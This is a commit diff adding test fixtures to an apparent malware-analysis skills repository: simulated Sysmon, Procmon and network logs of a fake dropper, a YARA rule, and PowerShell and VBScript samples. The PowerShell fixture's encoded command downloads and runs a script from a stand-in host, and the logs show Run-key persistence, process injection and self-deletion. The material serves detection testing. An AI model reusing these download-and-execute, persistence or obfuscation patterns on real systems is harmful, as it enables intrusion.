vlad/reverse-skills-max
1
0
Fork 0
Code Issues Pull Requests Actions Packages Projects Releases Wiki Activity

reverse-skills-max: initial public release (restored, redacted, hardened)

Browse Source
This commit is contained in:
baradok609hecl1pq6qi
2026-10-20 02:17:15 +03:00
commit da24c2bd20
2227 changed files with 443931 additions and 0 deletions
Download Patch File Download Diff File Expand all files Collapse all files

3
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/dns.txt vendored Normal file
View File

@@ -0,0 +1,3 @@
Sep 5 10:00:02 10.0.0.15 update-cdn.example.test
Sep 5 10:01:06 10.0.0.15 update-cdn.example.test
Sep 5 10:00:10 10.0.0.15 clients2.google.com

2
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/http.txt vendored Normal file
View File

@@ -0,0 +1,2 @@
Sep 5 10:00:02 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)
Sep 5 10:01:06 203.0.113.5 update-cdn.example.test POST /gate.php Mozilla/4.0 (compatible; MSIE 6.0; TestUA/1.0)

17
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/procmon.csv vendored Normal file
View File

@@ -0,0 +1,17 @@
"Time of Day","Process Name","PID","Operation","Path","Result","Detail"
"10:00:01.1","explorer.exe","1400","Process Create","C:\Users\Public\invoice_2024.exe","SUCCESS","PID: 4820, Command line: ""C:\Users\Public\invoice_2024.exe"" /install"
"10:00:01.2","invoice_2024.exe","4820","Process Start","","SUCCESS","Parent PID: 1400, Command line: ""C:\Users\Public\invoice_2024.exe"" /install, Current directory: C:\Users\Public\"
"10:00:01.3","invoice_2024.exe","4820","CreateFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Desired Access: Generic Write, Disposition: Create, OpenResult: Created"
"10:00:01.4","invoice_2024.exe","4820","WriteFile","C:\Users\Bob\AppData\Roaming\svc.exe","SUCCESS","Offset: 0, Length: 51200"
"10:00:01.5","invoice_2024.exe","4820","RegCreateKey","HKCU\Software\Microsoft\Windows\CurrentVersion\Run","SUCCESS","Desired Access: All Access"
"10:00:01.6","invoice_2024.exe","4820","RegSetValue","HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate","SUCCESS","Type: REG_SZ, Length: 62, Data: C:\Users\Bob\AppData\Roaming\svc.exe"
"10:00:02.0","invoice_2024.exe","4820","Load Image","C:\Users\Bob\AppData\Roaming\hlp.dll","SUCCESS","Image Base: 0x10000000, Image Size: 0x14000"
"10:00:02.5","invoice_2024.exe","4820","TCP Connect","DESKTOP-TEST:49700 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
"10:00:03.0","invoice_2024.exe","4820","Process Create","C:\Windows\System32\cmd.exe","SUCCESS","PID: 5102, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
"10:00:03.1","cmd.exe","5102","Process Start","","SUCCESS","Parent PID: 4820, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del ""C:\Users\Public\invoice_2024.exe"""
"10:00:03.2","cmd.exe","5102","Process Create","C:\Windows\System32\PING.EXE","SUCCESS","PID: 5140, Command line: ping -n 3 127.0.0.1"
"10:00:06.0","cmd.exe","5102","SetDispositionInformationFile","C:\Users\Public\invoice_2024.exe","SUCCESS","Delete: True"
"10:00:06.2","svc.exe","5300","Process Start","","SUCCESS","Parent PID: 1, Command line: C:\Users\Bob\AppData\Roaming\svc.exe"
"10:00:06.5","svc.exe","5300","TCP Connect","DESKTOP-TEST:49712 -> 203.0.113.5:443","SUCCESS","Length: 0, mss: 1460"
"10:00:10.0","chrome.exe","2100","WriteFile","C:\Users\Bob\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1","SUCCESS","Offset: 0, Length: 4096"
"10:00:11.0","svchost.exe","900","RegQueryValue","HKLM\System\CurrentControlSet\Services\Tcpip\Parameters","SUCCESS","Type: REG_DWORD"
1 Time of Day Process Name PID Operation Path Result Detail
2 10:00:01.1 explorer.exe 1400 Process Create C:\Users\Public\invoice_2024.exe SUCCESS PID: 4820, Command line: "C:\Users\Public\invoice_2024.exe" /install
3 10:00:01.2 invoice_2024.exe 4820 Process Start SUCCESS Parent PID: 1400, Command line: "C:\Users\Public\invoice_2024.exe" /install, Current directory: C:\Users\Public\
4 10:00:01.3 invoice_2024.exe 4820 CreateFile C:\Users\Bob\AppData\Roaming\svc.exe SUCCESS Desired Access: Generic Write, Disposition: Create, OpenResult: Created
5 10:00:01.4 invoice_2024.exe 4820 WriteFile C:\Users\Bob\AppData\Roaming\svc.exe SUCCESS Offset: 0, Length: 51200
6 10:00:01.5 invoice_2024.exe 4820 RegCreateKey HKCU\Software\Microsoft\Windows\CurrentVersion\Run SUCCESS Desired Access: All Access
7 10:00:01.6 invoice_2024.exe 4820 RegSetValue HKCU\Software\Microsoft\Windows\CurrentVersion\Run\WinUpdate SUCCESS Type: REG_SZ, Length: 62, Data: C:\Users\Bob\AppData\Roaming\svc.exe
8 10:00:02.0 invoice_2024.exe 4820 Load Image C:\Users\Bob\AppData\Roaming\hlp.dll SUCCESS Image Base: 0x10000000, Image Size: 0x14000
9 10:00:02.5 invoice_2024.exe 4820 TCP Connect DESKTOP-TEST:49700 -> 203.0.113.5:443 SUCCESS Length: 0, mss: 1460
10 10:00:03.0 invoice_2024.exe 4820 Process Create C:\Windows\System32\cmd.exe SUCCESS PID: 5102, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del "C:\Users\Public\invoice_2024.exe"
11 10:00:03.1 cmd.exe 5102 Process Start SUCCESS Parent PID: 4820, Command line: cmd.exe /c ping -n 3 127.0.0.1 & del "C:\Users\Public\invoice_2024.exe"
12 10:00:03.2 cmd.exe 5102 Process Create C:\Windows\System32\PING.EXE SUCCESS PID: 5140, Command line: ping -n 3 127.0.0.1
13 10:00:06.0 cmd.exe 5102 SetDispositionInformationFile C:\Users\Public\invoice_2024.exe SUCCESS Delete: True
14 10:00:06.2 svc.exe 5300 Process Start SUCCESS Parent PID: 1, Command line: C:\Users\Bob\AppData\Roaming\svc.exe
15 10:00:06.5 svc.exe 5300 TCP Connect DESKTOP-TEST:49712 -> 203.0.113.5:443 SUCCESS Length: 0, mss: 1460
16 10:00:10.0 chrome.exe 2100 WriteFile C:\Users\Bob\AppData\Local\Google\Chrome\User Data\Default\Cache\data_1 SUCCESS Offset: 0, Length: 4096
17 10:00:11.0 svchost.exe 900 RegQueryValue HKLM\System\CurrentControlSet\Services\Tcpip\Parameters SUCCESS Type: REG_DWORD

7
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/syn.txt vendored Normal file
View File

@@ -0,0 +1,7 @@
1757066406.0 203.0.113.5 443
1757066466.0 203.0.113.5 443
1757066526.0 203.0.113.5 443
1757066586.0 203.0.113.5 443
1757066646.0 203.0.113.5 443
1757066706.0 203.0.113.5 443
1757066411.0 142.250.0.1 443

87
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/sysmon.json vendored Normal file
View File

@@ -0,0 +1,87 @@
[
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:01.100\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nCommandLine: \"C:\\Users\\Public\\invoice_2024.exe\" /install\nHashes: SHA256=AF747150F9AFC0937A6B62755F9BD84CFB88726370F6007AC03F8F7504D38C4D,IMPHASH=DFCAEBD44FF7676285215E9D856415F3\nParentProcessId: 1400\nParentImage: C:\\Windows\\explorer.exe\nParentCommandLine: C:\\Windows\\explorer.exe"
},
{
"Id": 11,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "File created:\nUtcTime: 2026-09-05 10:00:01.300\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetFilename: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
},
{
"Id": 13,
"TimeCreated": "2026-09-05T10:00:01",
"Message": "Registry value set:\nEventType: SetValue\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nTargetObject: HKU\\S-1-5-21-1\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\WinUpdate\nDetails: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe"
},
{
"Id": 7,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Image loaded:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nImageLoaded: C:\\Users\\Bob\\AppData\\Roaming\\hlp.dll\nSigned: false\nSignature: "
},
{
"Id": 8,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "CreateRemoteThread detected:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetProcessId: 1400\nTargetImage: C:\\Windows\\explorer.exe\nStartAddress: 0x000002A4C0000000"
},
{
"Id": 10,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Process accessed:\nSourceProcessId: 4820\nSourceImage: C:\\Users\\Public\\invoice_2024.exe\nTargetImage: C:\\Windows\\explorer.exe\nGrantedAccess: 0x1F0FFF"
},
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:03",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:03.000\nProcessId: 5102\nImage: C:\\Windows\\System32\\cmd.exe\nCommandLine: cmd.exe /c ping -n 3 127.0.0.1 & del \"C:\\Users\\Public\\invoice_2024.exe\"\nParentProcessId: 4820\nParentImage: C:\\Users\\Public\\invoice_2024.exe"
},
{
"Id": 22,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "DNS query:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nQueryName: update-cdn.example.test\nQueryResults: 203.0.113.5"
},
{
"Id": 1,
"TimeCreated": "2026-09-05T10:00:06",
"Message": "Process Create:\nUtcTime: 2026-09-05 10:00:06.200\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nCommandLine: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nHashes: SHA256=1111111111111111111111111111111111111111111111111111111111111111\nParentProcessId: 700\nParentImage: C:\\Windows\\System32\\services.exe\nParentCommandLine: C:\\Windows\\System32\\services.exe"
},
{
"Id": 17,
"TimeCreated": "2026-09-05T10:00:02",
"Message": "Pipe Created:\nProcessId: 4820\nImage: C:\\Users\\Public\\invoice_2024.exe\nPipeName: \\testfixture"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:00:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:00:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:01:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:01:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:02:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:02:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:03:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:03:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:04:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:04:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 3,
"TimeCreated": "2026-09-05T10:05:06",
"Message": "Network connection detected:\nUtcTime: 2026-09-05 10:05:06.000\nProcessId: 5300\nImage: C:\\Users\\Bob\\AppData\\Roaming\\svc.exe\nProtocol: tcp\nSourceIp: 10.0.0.15\nDestinationIp: 203.0.113.5\nDestinationPort: 443\nDestinationHostname: update-cdn.example.test"
},
{
"Id": 22,
"TimeCreated": "2026-09-05T10:00:10",
"Message": "DNS query:\nProcessId: 2100\nImage: C:\\Program Files\\Google\\Chrome\\chrome.exe\nQueryName: clients2.google.com\nQueryResults: 142.250.0.1"
}
]

1
vendor-new/malware-analysis-claude-skills/tests/fixtures/evidence/tls.txt vendored Normal file
View File

@@ -0,0 +1 @@
Sep 5 10:00:02 203.0.113.5 443 update-cdn.example.test a0e9f5d64349fb13191bc781f81f42e1

3
vendor-new/malware-analysis-claude-skills/tests/fixtures/scripts/malicious.ps1 vendored Normal file
View File

@@ -0,0 +1,3 @@
powershell.exe -nop -w hidden -ExecutionPolicy Bypass -EncodedCommand SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAiAGgAdAB0AHAAOgAvAC8AdQBwAGQAYQB0AGUALQBjAGQAbgAuAGUAeABhAG0AcABsAGUALgB0AGUAcwB0AC8AcwB0AGEAZwBlADIALgBwAHMAMQAiACkA
$u = "ht"+"tp://update-cdn.example.test/gate.php"
$b = [System.Convert]::FromBase64String("VGVzdEZpeHR1cmU=")

5
vendor-new/malware-analysis-claude-skills/tests/fixtures/scripts/malicious.vbs vendored Normal file
View File

@@ -0,0 +1,5 @@
Dim c, u, r
c = Chr(99) & Chr(109) & Chr(100)
u = Replace("hXXtXXtXXp://update-cdn.example.test/p.exe","XX","")
r = StrReverse("exe.clac")
CreateObject("WScript.Shell").Run c & " /c " & r

15
vendor-new/malware-analysis-claude-skills/tests/fixtures/yara/fixture.yar vendored Normal file
View File

@@ -0,0 +1,15 @@
rule Test_Fixture_Invoice2024 {
meta:
description = "Detects the benign PE test fixture built by tests/make_pe.py"
author = "malware-analysis-skills test harness"
reference = "tests/make_pe.py"
note = "Fixture only — not a real malware signature"
strings:
$mz = { 4D 5A }
$c2 = "update-cdn.example.test/gate.php" ascii
$ua = "TestUA/1.0" ascii
$mtx = "Global\\TestFixtureMutex_9f2a" ascii
$tag = "BENIGN TEST FIXTURE" ascii
condition:
$mz at 0 and 3 of ($c2, $ua, $mtx, $tag)
}